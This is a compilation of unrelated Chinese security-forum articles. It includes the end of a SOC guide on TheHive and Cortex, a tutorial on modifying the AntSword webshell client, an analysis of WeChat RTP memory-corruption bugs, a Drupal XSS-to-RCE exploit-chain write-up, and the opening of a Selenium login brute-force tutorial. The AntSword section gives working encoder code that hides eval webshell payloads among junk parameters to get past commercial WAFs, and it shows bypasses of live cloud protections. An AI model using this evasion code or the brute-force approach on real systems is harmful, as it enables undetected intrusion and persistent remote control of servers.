Feeds。找到一个你已经订阅的feeds，点击右边的放大镜按钮，在列表中选择一个ip并复制。
现在在Cortex中，点击” **+New Analysis** “，添加一个IP的数据类型，并粘贴刚才复制的IP。
选择 **The MISP_2_0 analyzer and run**
。在任务历史记录页面，点击”View“，你应该看到你复制的IP的列表名称以及该列表提供的其他信息。
可以进入TheHive，把这个IP作为一个观察点，进行测试。
### 8.5 排查：TheHive的事件管理
TheHive的核心结构就是排查事件。TheHive旨在使分析人员更轻松，并确保从事此工作的团队成员之间更好的理解。这是至关重要的，因为事件排查似乎大多数安全排查的核心结构，无论是查看告警、对恶意软件进行你想还是处理应急响应事件。
你可以在事件中添加标签以进行快速的搜索和过滤。还可以评估事件的严重性，跟踪TLP级别，这样可以帮助管理和促进数据共享。事件中的所有数据很容易从页面顶部的搜索栏中搜索出来。这样可以更轻松地确定你当前正在观察的活动是否存在于先前早期的事件中。
你也可以通过导入告警来创建事件。如果两个告警共享一个链接，可以选择将这个告警添加到现有的事件中，而不是生成一个新的事件。
事件创建完成后，可以开始为它设置tasks(任务)。tasks(任务)可以是任何东西，但我们建议用他们来跟踪排查事件问题。
此外，多个分析人员可以同时处理同一事件。例如，一个分析人员可能会处理恶意软件的分析，而另一个分析人员可能会在同事添加IOCs(失陷指标)后，立即在代理日志上跟踪C2
beacon活动。
**事件模板** ：
随着SOC的发展，定义处理手册变得至关重要，它可以帮助分析师一致地处理具有共同属性的排查。例如，在最初调查一系列的密码爆破登录失败行为或钓鱼邮件时，我们采取的排查步骤通常是类似的。如果能确定这些步骤，你就会有一个很好的开端来培训新的分析人员，并确保大多数调查是在一个平等的基础上开始的。TheHive提供了一个独特的事件模板系统，允许定义常见的排查步骤并预先填充事件的元数据和任务。
在上图的例子中，我们定义了一个与漏洞利用工具包活动有关的排查模板。现在，当我创建一个新事件时，我可以选择这个模板，你所看到的所有信息都会预先填充到事件的细节中。真正实用的是在事件发生之前自动创建一系列tasks(任务)的能力，这基本上就是为我们定制了操作处理手册，这样，就可以自动填充等待的任务队列，从而使其他分析人员能够直接介入排查，或开始完成控制和消除的任务。
此外，TheHive支持在事件的上下文中为有趣的可观察对象创建单独的条目。可观察的是任何有趣的数据工件。TheHive内置了几种常见的可观察类型：包括IP地址、域名、HTTP
URI等。当然，您还可以定义自己的类型，从而使该功能更加灵活使用。
跟踪观测值有很多好处，显而易见的一点是，你可以在后续的调查中搜索他们，以引入更多的来龙去脉。还可以将它们导出，以便以后导入黑名单、白名单或检测机制。最后，您可以使用内置的Cortex集成将观测值自动提交给任意数量的OSINT研究站点。这是一个非常简单的过程，并且仅需要您为将要使用的每个服务输入API密钥。一些现有的集成包括Passive
Total、Virus Total和Domain Tools。
准备好关闭事件时，请单击事件标题栏中的“关闭”按钮：
你还可以把事件的性质设为真阳性（true positive），假阳性（false positive）等等…
## 0x09 写在最后
原文链接：<https://medium.com/@ibrahim.ayadhi/deploying-of-infrastructure-and-technologies-for-a-soc-as-a-service-socass-8e1bbb885149>
文中当然有很多翻译不当、笔误的内容，欢迎读者指正。感谢。
* * *
**< 全文完>** | 社区文章 |
## 前言
本人有意写一份系列文章，主要内容是分享蚁剑改造过程中的一些技巧与经验。
因为蚁剑的相关文档实在比较少，可能很多同学都像自己当初一样想要二次开发可是不知如何下手。
不敢贸然称之为教程，只是把改造的过程发出来供大家借鉴，希望其他同学能够少走弯路。
## 正文
### 思路简介
大家都知道垃圾数据填充可以用于SQL注入的绕过，原理就是WAF在遇到大量的GET或者POST参数的时候就会直接把数据直接抛给后端，从而就可以绕过各种各样恶心的过滤，大家常常把这种方法叫做缓冲区溢出。
原因可能是WAF厂商考虑到防止自身程序对于流量分析时间过长，导致用户正常的业务无法访问，所以不得已直接丢给后端。因为咱也没看过WAF内部的规则是怎么写的，所以暂时这样猜想。
同样的，既然都是直接把数据抛给后端，那么这种办法是否可以用于一句话流量的绕过呢，答案当然是可以的，只不过要稍加修改。因为实际测试过程中发现，仅仅在payload前面加上超长字符串对于某里云来说并没有卵用，似乎已经免疫。但是换了个思路，发现改成增加大量垃圾键值对之后就可以bypass，那就暂且把这种方法叫做增加垃圾数据绕过法吧。
这篇文章主要介绍这种方法，以及如何把这个功能移植到蚁剑上。
### 编码器实现
这篇文章本来是几个月前发在自己的星球里，名字叫做`蚁剑编码器之流量混淆`。当时想着怎么方便怎么来，所以采用的是最简单、改动最小的一种实现方式--编码器实现。
这里全部采用了随机的方式来生成垃圾流量，随机变量名长度，随机变量值大小，随机变量个数。
let varname_min = 5; //变量名最小长度
let varname_max = 15; // 变量名最大长度
let data_min = 200; // 变量值最小长度
let data_max = 250; // 变量值最大长度
let num_min = 150; // 变量最小个数
let num_max = 250; // 变量最大个数
function randomString(length) { // 生成随机字符串
//let chars='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
let chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
let result = '';
for (let i = length; i > 0; --i) result += chars[Math.floor(Math.random() * chars.length)];
return result;
}
function randomInt(min, max) { //生成指定范围内的随机数
return parseInt(Math.random() * (max - min + 1) + min, 10);
}
for (let i = 0; i < randomInt(num_min, num_max); i++) { //将混淆流量放入到payload数组中
data[randomString(randomInt(varname_min, varname_max))] = randomString(randomInt(data_min, data_max));
}
那么怎么用呢
很简单，就直接把这段代码放到普通编码器里就可以了，这里以最基础的也是被各类WAF杀得妈都不认的base64编码器为例
'use strict';
/*
code by yzddMr6
*/
module.exports = (pwd, data, ext = {}) => {
let varname_min = 5;
let varname_max = 15;
let data_min = 200;
let data_max = 250;
let num_min = 100;
let num_max = 200;
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
data[randomID] = Buffer.from(data['_']).toString('base64');
function randomString(length) {
//let chars='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
let chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
let result = '';
for (let i = length; i > 0; --i) result += chars[Math.floor(Math.random() * chars.length)];
return result;
}
function randomInt(min, max) {
return parseInt(Math.random() * (max - min + 1) + min, 10);
}
for (let i = 0; i < randomInt(num_min, num_max); i++) {
data[randomString(randomInt(varname_min, varname_max))] = randomString(randomInt(data_min, data_max));
}
data[pwd] = `@eval(base64_decode($_POST[${randomID}]));`;
delete data['_'];
return data;
}
### 过云锁测试
本来想用安全狗，结果发现好像免费版不能拦截一句话。
那就用云锁开刀吧。
首先在虚拟机里放个一句话， ~~就用某辣鸡项目生成的~~
可以正常运行
然后使用蚁剑默认的base64编码器连接试一下
云锁直接drop了数据包，没有返回，在云锁控制端显示受到攻击
然后使用我们上面的流量混淆编码器
shell正常连接，成功bypass云锁。
### 过阿里云测试
这一部分是后来补上的，因为白嫖的阿里云还有一天就到期了。。。
众所周知阿里云是以封IP著名，一言不合就全网ban你。不仅站x不了，甚至很多其他网站都打不开。。。
反正要到期了，码也懒得打了。
首先用backdoor study搭建个环境
这时候要找一个免杀马放上去，不然的话连接之前就被阿里云ban了
然后随便找个蚁剑的默认编码器连上去，第一个包还有回显，发第二个包的时候就已经被封IP了
这时候换上加了垃圾数据污染后的编码器
正常执行命令
写文件测试
bypass阿里云
### 蚁剑核心功能实现
理论上这种方法不管是asp php aspx jsp都可以用到，如果按照编码器实现的话就要建立四个编码器，觉得还是加入到核心功能中比较好。
这几天看了一下蚁剑的架构，感叹于设计者思路的精妙。
首先我们可以看看他modules目录下的request模块的内容
可以看到两个if else 语句
/**
* 监听HTTP请求
* @param {Object} event ipcMain事件对象
* @param {Object} opts 请求配置
* @return {[type]} [description]
*/
onRequest(event, opts) {
logger.debug('onRequest::opts', opts);
if (opts['url'].match(CONF.urlblacklist)) {
return event
.sender
.send('request-error-' + opts['hash'], "Blacklist URL");
}
let _request = superagent.post(opts['url']);
// 设置headers
_request.set('User-Agent', USER_AGENT);
// 自定义headers
for (let _ in opts.headers) {
_request.set(_, opts.headers[_]);
}
// 自定义body
const _postData = Object.assign({}, opts.body, opts.data);
if (opts['useChunk'] == 1) {
logger.debug("request with Chunked");
let _postarr = [];
for (var key in _postData) {
if (_postData.hasOwnProperty(key)) {
let _tmp = encodeURIComponent(_postData[key]).replace(/asunescape\((.+?)\)/g, function ($, $1) {
return unescape($1);
}); // 后续可能需要二次处理的在这里追加
_postarr.push(`${key}=${_tmp}`);
}
}
let antstream = new AntRead(_postarr.join("&"), {
'step': parseInt(opts['chunkStepMin']),
'stepmax': parseInt(opts['chunkStepMax'])
});
xxxxxxx
} else {
// 通过替换函数方式来实现发包方式切换, 后续可改成别的
const old_send = _request.send;
let _postarr = [];
if (opts['useMultipart'] == 1) {
_request.send = _request.field;
for (var key in _postData) {
if (_postData.hasOwnProperty(key)) {
let _tmp = (_postData[key]).replace(/asunescape\((.+?)\)/g, function ($, $1) {
return unescape($1)
});
_postarr[key] = _tmp;
}
}
} else {
_request.send = old_send;
for (var key in _postData) {
if (_postData.hasOwnProperty(key)) {
let _tmp = encodeURIComponent(_postData[key]).replace(/asunescape\((.+?)\)/g, function ($, $1) {
return unescape($1)
}); // 后续可能需要二次处理的在这里追加
_postarr.push(`${key}=${_tmp}`);
}
}
_postarr = _postarr.join('&');
}
大概就是说如果开启了chunk传输后不拉不拉，否则的话就看看是否开启了Multipart，如果开启了不拉不拉，否则咕叽咕叽。
主要的payload是以字典的形式放到`_postData`中，然后字典键跟值用`=`连接后放到`_postarr`数组中，最后再把`_postarr`数组用`&`连接起来就是我们最终发包的payload了。
那么这里也就是我们要下手修改的地方，照葫芦画瓢，再增加一个else语句
因为我这里都改好了，就直接截图说要改哪些点吧。
`opts`为在界面中选择的选项，这里起个名字叫`addMassData`
然后要到`source/core/base.js`中增加你的配置选项，注意的是蚁剑把普通请求跟下载请求的发包是分开的，所以需要改两处，自己vscode搜一下改一下。
// 发送请求数据
.send('request', {
url: this.__opts__['url'],
hash: hash,
data: opt['data'],
tag_s: opt['tag_s'],
tag_e: opt['tag_e'],
encode: this.__opts__['encode'],
ignoreHTTPS: (this.__opts__['otherConf'] || {})['ignore-https'] === 1,
useChunk: (this.__opts__['otherConf'] || {})['use-chunk'] === 1,
chunkStepMin: (this.__opts__['otherConf'] || {})['chunk-step-byte-min'] || 2,
chunkStepMax: (this.__opts__['otherConf'] || {})['chunk-step-byte-max'] || 3,
useMultipart: (this.__opts__['otherConf'] || {})['use-multipart'] === 1,
addMassData: (this.__opts__['otherConf'] || {})['add-MassData'] === 1,
useRandomVariable: (this.__opts__['otherConf'] || {})['use-random-variable'] === 1,
timeout: parseInt((this.__opts__['otherConf'] || {})['request-timeout']),
headers: (this.__opts__['httpConf'] || {})['headers'] || {},
body: (this.__opts__['httpConf'] || {})['body'] || {}
});
})
}
后端改完之后要改前端了，前端修改内容是在`source\modules\shellmanager\list\form.js`中存放
增加一个checkbox，注意label名字不要写错。
然后改语言文件，这个没什么好说的。
全部改完之后重启蚁剑(注意是把软件x掉重新双击打开，否则某些改动不会更新)，设置中就可以看到我们新增加的`增加垃圾数据`选项了
选中后发包测试一下
可以看到已经成功啦 ~~一半~~
接着发现一个奇怪的问题，每次payload都是在第一个
这样肯定是不行的，所以我们还需要写一个随机函数，让字典随机排序
没有现成的函数，随手搓一个
附上辣鸡代码
function randomDict(dic){
let tmparray=[]
for(let i in dic){
tmparray.push(i)
}
tmparray=tmparray.sort((a, b)=> { return Math.random() > 0.5 ? -1 : 1; })
let finaldata={}
tmparray.forEach(i => {
finaldata[i]=dic[i]
});
return finaldata
}
然后出现了点小插曲
因为`_postData`是const类型，不能直接修改
既然追求刺激，那就贯彻到底啦，直接改成let
再试一下就可以实现字典随机排序了
发现还可以正常使用，改了就改了吧
### asp测试
### aspx测试
asp,aspx类型的shell都可以正常使用
## 最后
参数个数可以根据实际情况自行修改，不过一般也不需要改，所以就没有写到UI中。
把参数个数改大可能会绕过更多waf，但是同样带来一个问题就是响应包会很慢，网络不好的情况下慎用。 | 社区文章 |
**作者：盘古实验室
公众号：<https://mp.weixin.qq.com/s/yMQN3MciI-0f3mzz_saiwQ>**
在完成了对 FaceTime
的一系列漏洞挖掘与研究后，我们决定对微信的音视频通信做一些分析。经分析后发现，当微信语音通话连接建立成功之后，微信客户端将解析远端发来的网络报文并还原成多媒体流。在还原解析的过程中，如果处理远端数据的代码存在问题时就会形成一个远程的攻击面。
在针对这个攻击面进行深入挖掘后我们发现了若干可以造成远程内存破坏的漏洞。本篇文章我们将选择一个比较有趣且复杂的漏洞进行深入的分析。该漏洞可以造成远程写溢出从而导致崩溃，其root
cause隐藏的非常深，触发流程也比较复杂。研究与分析该漏洞无论是对安全研究还是软件开发的角度都有一定的价值。我们将在文章中详细的分析漏洞成因和触发流程。微信已经在最新版7.0.12中修复了该漏洞。
### 开胃小菜
首先我们先介绍两个比较简单的漏洞，一个属于本地代码执行，一个属于远程溢出。
#### 本地代码执行
Mac版本的微信客户端处理粘贴操作时，没有有效检查粘贴板对象中内容，导致不安全的对象反序列化。当本地其他恶意应用设置粘贴板时，用户在微信客户端粘贴操作时，会导致任意对象的创建。
如下面截图所示，Mac 版本的微信在反序列化粘贴板对象的过程中，并没有使用secure coding 以及白名单等设置，导致任何可以响应
[initwithcoder:] 函数的 objective-c 对象都能被创建并使用，会引起很大的攻击面。
Mac版本微信对剪切板的处理
具体攻击结果可以参考[Google Project
Zero在iMessage中发现的大量不安全反序列化攻击](https://www.blackhat.com/us-19/briefings/schedule/#look-no-hands—-the-remote-interaction-less-attack-surface-of-the-iphone-15203
"Google Project Zero在iMessage中发现的大量不安全反序列化攻击").
Mac版本微信已经对该漏洞进行了完全正确的修复，调用了 setRequiresSecureCoding: 函数，并作出了安全设置。
修复后的剪切板处理
#### 远程下溢出
微信视频通话接通后，通话两端建立网络直连传递RTP报文。微信客户端传输RTP包过程中，采用了一套加密机制。但是微信客户端在RTP解密之前，没有很好验证RTP包长度。当攻击者发送很短的RTP包的时候，会引起接受端处理RTP包过程中长度计算的整数下溢出，进而导致内存越界访问。
RTP包长度验证减法下溢出
有趣的是，GP0 研究员在微信 CAudioJBM::InputAudioFrameToJBM 函数中发现了类似的错误
(<https://bugs.chromium.org/p/project-zero/issues/detail?id=1948>)。这说明微信在在包长度验证时存在一定共性缺陷。
这是一个非常明显的下溢出，但是通过对这个问题的分析，我们认为远程的攻击面中可能存在风险更高的漏洞。
### 远程写溢出成因与分析
跳过前期复杂的协商互联流程，我们在已经通过微信语音通话的状态下，微信客户端将收到远端发送来的音频数据。收到的原始数据会被层层分解处理，并根据不同的类型分发到不同的处理函数上。
#### RecvRtpPacketCng
在收到远端的网络数据后，RTP 数据包将被 `RecvRtpPacketCng(__int64 XVEChannel, unsigned int
*pData, __int16 len, void *a4)` 函数处理，这里的参数
pData内容是语音通话的远端完全可控的。该函数会根据网络包中指定的过不同的代码解析
当pkType类型为7或8时，该网络包的类型为 RTPwithRsMd
当网络包头部的 subpkt 解析完成后会调用 ParaseRemoteLostRateParam 函数：
ParaseRemoteLostRateParam 函数中，根据远端的 pData 中数据设置了XVEChannel+72 处对象的内部数据。通过参数
a2，在 pData 中读取两个字节，并最终设置到 m_RemoteLrParam 和 nFrmCnt 两个成员变量中。
#### DevPutProcessRsMdCng
在接收远端的语音数据的同时，也需要将自己的语音数据通过`XVEChannel`对象发送给远端。
在 readRemoteLrParam 函数中，会将刚刚设置的 m_RemoteLrParam 和 nFrmCnt 读取到栈上变量v92中。
在读取`RemoteLostRateParam`到局部变量v92后,需要设置到相应的本地成员变量中
当数据准备好后将调用函数 CAudioRS::RsMdEncProcessCng，写溢出就发生在这个函数中。
当 CAudioRS::RsMdEncProcessCng 刚开始执行时会通过 XVEChannel_72+9 作为 index 写一个 byte.
并在 RsMdEncQueueSourcePktCng 函数中 XVEChannel_72 + 9 将做一次自增。
当 CAudioRS::RsMdEncProcessCng 退出前会根据当前的状态更新成员变量。
[1] 通过`update_data`根据`LocalExpectRSPara`的值修改成员变量
[2] 如果XVEChannel_72+9处的值与XVEChannel_72+4处的值相同，则会触发[3]处的代码将XVEChannel_72+9处写0.
因为 XVEChannel_72 + 9 可以根据 pData 中的数据设置成攻击者可控的数据，当 XVEChannel_72 + 9 被设置为大于
XVEChannel_72 + 4 时，就必须一直自增且产生整数溢出后重新与 XVEChannel_72 + 4 相等时， 才能将
XVEChannel_72 + 9清零。
所以 XVEChannel_72 + 9 的取值范围是0-255。又因为`*(_BYTE *)(XVEChannel_72 + *(char
*)(XVEChannel_72 + 9) + 1668) = a7;` 使用的是有符号数作为`index`。最终覆盖范围是
`XVEChannel_72+1668`处的`-128`到`127`处超过原本数据结构包含的内存。
### 触发流程
RecvRtpPacketCng 从网络报文中获取 lrParam
DevPutProcessRsMdCng 根据 lrParam 设置 LocalExpectRSPara
RsMdEncProcessCng 根据 LocalExpectRSPara 中的参数修改成员变量作为数据修改的index (XVEChannel_72 +
9 )
修改成功后会对index自增并与本地的max值做比较，如果index达到最大值index_max时(`XVEChannel_72 + 4`)将index清零
如果通过远数据端将index设置为大于index_max的情况，则index会一直自增直到发生整数溢出后才能满足index==index_max的条件进入清零的逻辑
index在（-128，127）范围内遍历，产生越界写。越界写的范围在 (-128，127)之间。
### 感谢
要特别感谢 TSRC
的认真负责。他们在我们上报漏洞后对漏洞响应及时，收到报告的次日就确认了漏洞并给出危险评级。并且在后续的漏洞修复与修复版本更新的工作中和我们保持联系。
### TimeLine
2019/11/28 发现漏洞
2019/12/02 完成漏洞分析并上报TSRC
2019/12/03 TSRC确认漏洞并修复
2020/03/23 文章发布
Credit：漏洞由盘古实验室黄涛、王铁磊发现和分析。
* * * | 社区文章 |
# Drupal漏洞组合拳：通过恶意图片实现一键式RCE
##### 译文声明
本文是翻译文章，文章原作者 thezdi，文章来源：thezdi.com
原文地址：<https://www.thezdi.com/blog/2019/4/11/a-series-of-unfortunate-images-drupal-1-click-to-rce-exploit-chain-detailed>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
最近Drupal公布了两个关键补丁，支持7.x及8.x版本。在这个安全更新中修复了一些bug，最开始这些bug已提交到我们的[针对性漏洞激励计划](https://www.zerodayinitiative.com/blog/2018/7/24/announcing-the-targeted-incentive-program-a-special-award-for-special-targets)（TIP）中。利用这些漏洞有可能实现代码执行，但攻击者先要将3个恶意的“图像”上传到目标服务器上，然后诱导通过身份认证的网站管理员按照攻击者精心设计的方式操作，最终实现代码执行。由于攻击过程不够平滑，因此尚不足以获得TIP奖项。然而，这些bug的确能在针对性攻击中发挥作用，因此我们通过正常的ZDI流程购买了这些bug。大家可以参考[此视频](https://youtu.be/GT5LCO7D3SE)了解这些bug的整体利用过程。
这两个bug可以组合使用，实现一键式代码执行。漏洞编号分别为ZDI-19-130以及ZDI-19-291，由Sam
Thomas（@_s_n_t）发现。攻击者可以在账户注册过程中，将攻击图像当成个人资料图像上传，也可以在评论中上传图像。已禁用用户注册以及用户评论功能的Drupal站点不受这些攻击方式影响，但我们还是建议用户将Drupal服务器更新到最新版本。
ZDI-19-130是一个PHP反序列化漏洞，可以让我们利用站点Admin实现RCE，ZDI-19-291是一个持久型跨站脚本漏洞，攻击者可以利用该漏洞强迫管理员发送恶意请求，触发ZDI-19-130。
ZDI-19-130的利用原理基于Thomas今年早些时候在Black
Hat上做的一次[演讲](https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf)（[白皮书](https://cdn2.hubspot.net/hubfs/3853213/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-....pdf)），大家也可以观看Thomas在BSidesMCR上关于该主题的[演讲](https://www.youtube.com/watch?v=GePBmsNJw6Y)。在演讲中，Thomas详细介绍了通过Phar归档文件触发PHP反序列化漏洞的一种新方法。PHP
Phar归档文件的metadata（元数据）实际上会以PHP序列化对象的形式存储，在Phar归档文件上的文件操作会触发服务器在已存储的元数据上执行`unserialization()`操作，最终导致代码执行。
另一方面，ZDI-19-291是处理已上传文件的文件名过程中存在的一个漏洞，该漏洞与PCRE（Perl Compatible Regular
Expression，Perl兼容的正则表达式）有关。当用户上传内文件时，Drupal会使用PRCE来修改文件名，避免文件名出现重复。Drupal的某次[commit](https://github.com/drupal/drupal/commit/1df3cfffefefc93ed2d29041d148938d08bb9d4e#diff-4e0145abc1f82e6483c217eea8f84333R906)中包含一个PCRE
bug，如果多次上传文件，Drupal就会删除文件的扩展名，导致攻击者可以上传任意HTML文件，该bug已存在8年之久。
## 二、简要回顾
### PHP对象注入
2009年iPhone 3GS发布，在同一年，Stefan
Esser（@i0n1c)）也演示了PHP反序列化过程存在对象注入漏洞，可以通过类似[ROP](https://www.owasp.org/images/f/f6/POC2009-ShockingNewsInPHPExploitation.pdf)的代码复用技术来进一步利用。随后，Esser创造了一个专业术语：[Property
Oriented Programming](https://www.owasp.org/images/9/9e/Utilizing-Code-Reuse-Or-Return-Oriented-Programming-In-PHP-Application-Exploits.pdf)（面向属性编程）。在Esser公布研究成果之前，PHP对象反序列化漏洞大多数情况下只用于拒绝服务场景或者难以利用的内存破坏场景。
与ROP的首次问世一样，POP利用链构造过程需要手动操作且非常繁琐，当时并没有太多工具或者参考文献可用。我了解的唯一一份参考资料是由Johannes
Dahse等人在2014年发表的关于自动化生成POP链的[研究成果](https://www.ei.rub.de/media/emma/veroeffentlichungen/2014/09/10/POPChainGeneration-CCS14.pdf)。遗憾的是，他们并没有公开相应的工具。
### PHP利用标准化
轮到[PHPGGC](https://github.com/ambionics/phpggc)（PHP Generic Gadget
Chains）登场，这个库于2017年6月公布，是类似于[ysoserial](https://github.com/frohoff/ysoserial)
Java反序列化漏洞的payload库。随着PHP框架和库的流行，在PHP自动加载功能的帮助下，PHP反序列化漏洞现在利用起来已经非常容易。
## 三、漏洞分析
### 第一阶段：ZDI-19-291
如下PHP代码片段可以用来测试Drupal源代码。根据源代码中的注释，如下代码段会尝试删除文件名中值小于0x02的ASCII控制字符，将其替换为下划线字符（`_`）。代码中使用了`/u`修饰符，因此PHP引擎会将PCRE表达式以及相应的字符串当成UTF-8编码字符。我们推测PCRE表达式中加入这个修饰符是为了兼容UTF-8。
**UTF-8**
一般人都认为UTF-8字符占2个字节，实际上UTF-8可以占1~4个字节。设计UTF-8时需要向后兼容ASCII字符集，因此，在1字节代码点(code
point)范围内，UTF-8与ASCII（0x00到0x7F）相同。0x80到0xF4用于编码多字节UTF-8代码点。根据RFC3629，有效的UTF-8字符串中永远不存在C0、C1、F5~FF这几个值。
**测试结果**
由于`\xFF`字节无效，并且`\x80`字节没有有效的前导字节，因此PHP会抛出`PREG_BAD_UTF8_ERROR`错误，将每个[文档](https://secure.php.net/manual/en/function.preg-replace.php)的`$basename`变量值设为`NULL`。
在源代码中，调用`preg_replace()`后Drupal并没有执行任何错误检查操作。当用户两次将包含无效UTF-8字符的文件名上传至Drupal时，Drupal将调用该函数，将`$basename`变量当成空字符串。最后，该函数会返回`$destination`，而该变量的值会被设置为`_.$counter++`。
根据这个代码逻辑，攻击者可以将一个GIF图像当成个人资料图像，通过用户注册操作上传到Drupal网站，使目标网站删除该文件的扩展名。现在Drupal会将该图像存放到如下路径：
/sites/default/files/pictures/<YYYY-MM>/_0
而正常情况下，正确的存放路径为：
/sites/default/files/pictures/<YYYY-MM>/profile_pic.gif
虽然Drupal会检查上传的用户资料图像，但攻击者只要在带有`.gif`扩展名的HTML文件开头附加“GIF”字符就能通过检查。
攻击者还可以通过评论编辑器上传恶意GIF文件。在这种情况下，图像的存放路径为`/sites/default/files/inline-images/_0`。然而，在默认配置的Drupal环境中，攻击者在发表评论前需要注册一个用户账户。
图像文件通常不会搭配`Content-Type`头，因此攻击者可以利用这种方式将恶意GIF/HTML文件上传到Drupal服务器，然后使用匹配的`type`，诱导浏览器以HTML网页形式渲染这些文件。利用方式如下：
总之，攻击者最终可以在目标Drupal网站上实现持久型XSS。攻击者可能利用该漏洞，诱导具备管理员权限的用户访问某个恶意链接，发起恶意请求，从而利用第二阶段漏洞。大家可以访问[此处](https://github.com/thezdi/PoC/blob/master/Drupal/drupal_xss_rce.zip)下载PoC代码。
### 第二阶段：ZDI-19-130
ZDI-19-130是一个反序列化bug，可以通过位于`/admin/config/media/file-system`网址的`file_temporary_path`请求参数触发。攻击者可以指定`phar://`流，将`file_temporary_path`参数指向恶意的Phar归档文件（该文件需要在第二阶段攻击前上传至Drupal服务器）。
`system_check_directory()`是处理该请求的回调函数。根据Thomas的研究成果，`!is_dir($directory)`文件操作并不足以触发PHP反序列化存放在Phar归档文件中的metadata。利用POP链利用技术，攻击者可以使用精心构造的Phar归档文件，在web服务器的上下文中执行任意代码。
### 第二阶段：Polyglot文件
在利用ZDI-19-130之前，我们需要将Phar文件上传到目标服务器上。攻击者可以在用户注册过程中，将一个JPEG/Phar类型的polyglot文件作为个人资料图像上传来完成该任务。下图就是一个JPEG/Phar类型的polyglot图像（已被转码，原图参考[此处](https://static1.squarespace.com/static/5894c269e4fcb5e65a1ed623/t/5be22702b8a0453302db6862/1541547931080/blog-ZDI-CAN-7232-cat.jpg?format=300w)），当与ZDI-19-130漏洞配合使用时，该文件就会在目标服务器上执行`cat
/etc/passwd`命令。
与JAR文件类似，Phar文件是一种归档文件，各种组件被打包到单个归档文件中。在PHP规范中，可以使用不同的归档格式来打包文件。在本文的漏洞利用场景中，我们使用的是基于TAR的Phar归档格式。
为了创建polyglot文件，攻击者首先需要选择一个JPEG图像载体，然后将基于TAR的恶意Phar文件全部存放到JPEG文件开头处的JPEG注释段中。当解释成TAR格式文件时，JPEG文件的图像开始段标记以及注释段标记会稍微与第一个文件名冲突。当修复TAR文件校验和后，只要存储在TAR/Phar归档文件中的第一个文件与包含POP链payload的Phar元数据组件文件不对应，这种冲突就不会对漏洞利用造成影响。
### 利用过程总结
回顾一下，攻击者首先必须将ZDI-19-130 JPEG/Phar
polyglot图像文件上传到目标服务器上，确定已上传图像的位置。然后，攻击者必须两次上传ZDI-19-291
GIF/HTML图像XSS，使服务器在保存图像文件时删除文件扩展名。最后，攻击者必须诱导网站管理员访问托管在目标服务器上的ZDI-19-291
GIF/HTML，通过适当的`type`属性，使浏览器以HTML页面渲染该图像，从而触发第二阶段的漏洞利用。如果一切顺利，攻击者可以在web服务器上实现代码执行，返回一个shell（参考前面的演示视频）。
## 四、总结
Thomas展示了一种新的攻击方法，为攻击者打开了崭新的大门。除非PHP决定修改Phar文件的处理流程，否则开发者在使用文件操作符处理用户可控的数据时要格外小心。许多人认为将用户可控的数据传递给文件操作符（如`is_dir()`）不是高风险的操作，因此我们估计将来会出现利用该方法的其他漏洞。随着POP链利用工具的不断完善，PHP反序列化漏洞现在利用起来也非常容易。软件厂商应当借此机会考虑不再使用`serialize()`，迁移到更为安全的`json_encode()`方案。
虽然这些bug并没有赢得TIP奖项，但对漏洞研究而言依然非常重要。如果大家对TIP计划感兴趣，可以经常翻一下我们的博客，关注目标清单有什么改动。我们的总奖金已经累计超过1,000,000美元，应该足以吸引您的目光。
另外，大家可以关注我的[推特](https://twitter.com/trendytofu)，[获取](https://twitter.com/thezdi)最新的漏洞利用技术及安全补丁信息。 | 社区文章 |
# Selenium&ddddocr识别验证码自动化爆破
# Selenium是什么？
Selenium可以模拟真实用户对URL中的元素进行操作。部分网站采用了一些流量校验算法，会将数据包中的进行加密，然后与计算出来的值进行比对，如果不能解密就加密的算法就很难使用burp爆破，及修改数据包的功能，而使用Selenium可以模拟人操作网站的行为，用户输入URL打开网站，选中输入框，输入内容，点击登录框。如果目标网站开启了一些校验，这些也会自动经过校验处理。而burp是直接跳过了这些操作，直接向服务器发送数据包。
# 前期准备
需要保证浏览器的大版本号，和浏览器的驱动程序匹配
* 下载Selenium[支持的浏览器](https://vikyd.github.io/download-chromium-history-version/#/)
* 下载Selenium[浏览器驱动程序](https://www.selenium.dev/documentation/webdriver/getting_started/install_drivers/)
## [安装Selenium
py库](https://www.selenium.dev/documentation/webdriver/getting_started/install_library/)
`pip3 install selenium`
## 如何使用？
自己的默认浏览器的主版本号，需要与驱动的主版本号相同
经过上面的操作，下面需要测试python是否能够启动浏览器，能否加载浏览器驱动。
可以使用下面的代码来进行测试
from selenium import webdriver
driver = webdriver.Chrome(executable_path=r'C:\WebDriver\bin\chromedriver.exe') #指定crome驱动位置
ActionChains(browser).key_down(Keys.CONTROL).send_keys("t").key_up(Keys.CONTROL).perform() #防止浏览器退出
执行后成功弹出浏览器。
下面来了解一下Selenium的常见语法
## 常见语法
title = driver.title # 获取标题
driver.implicitly_wait(0.5) # 等待0.5秒
URL操作
driver.get() # 打开新网页
driver.refresh() # 刷新网页
查找元素
search_box = driver.find_element(by=By.NAME, value="q") # 通过NAME来寻找元素
search_button = driver.find_element(by=By.ID, value="btnK") # 通过ID来寻找元素
find_pass = driver.find_element(by=By.XPATH, value='//*[@id="app"]/div/div[1]/div[2]/div[1]/div/div[2]/input') # 通过XPATH的方式来寻找元素
操作元素
search_box.send_keys("Selenium") # 输入内容
search_button.click() # 点击按钮
SearchInput.clear() # 清除内容
获取元素信息
value = search_box.get_attribute("value")
结束会话
driver.quit()
## 大致流程
查找元素 -> 输入内容 -> 点击按钮 -> 获取返回的元素信息(判断是否登录成功)
## 打开网页
尝试让python程序打开一个网站。这里使用Pikachu的漏洞靶场来测试爆破功能
from selenium import webdriver
def main():
driver = webdriver.Chrome(executable_path=r'C:\WebDriver\bin\chromedriver.exe') #指定crome驱动位置
driver.get('http://192.168.180.152/06/vul/burteforce/bf_form.php')#打开指定URL
ActionChains(browser).key_down(Keys.CONTROL).send_keys("t").key_up(Keys.CONTROL).perform()
if __name__ == "__main__":
main()
## 元素选择
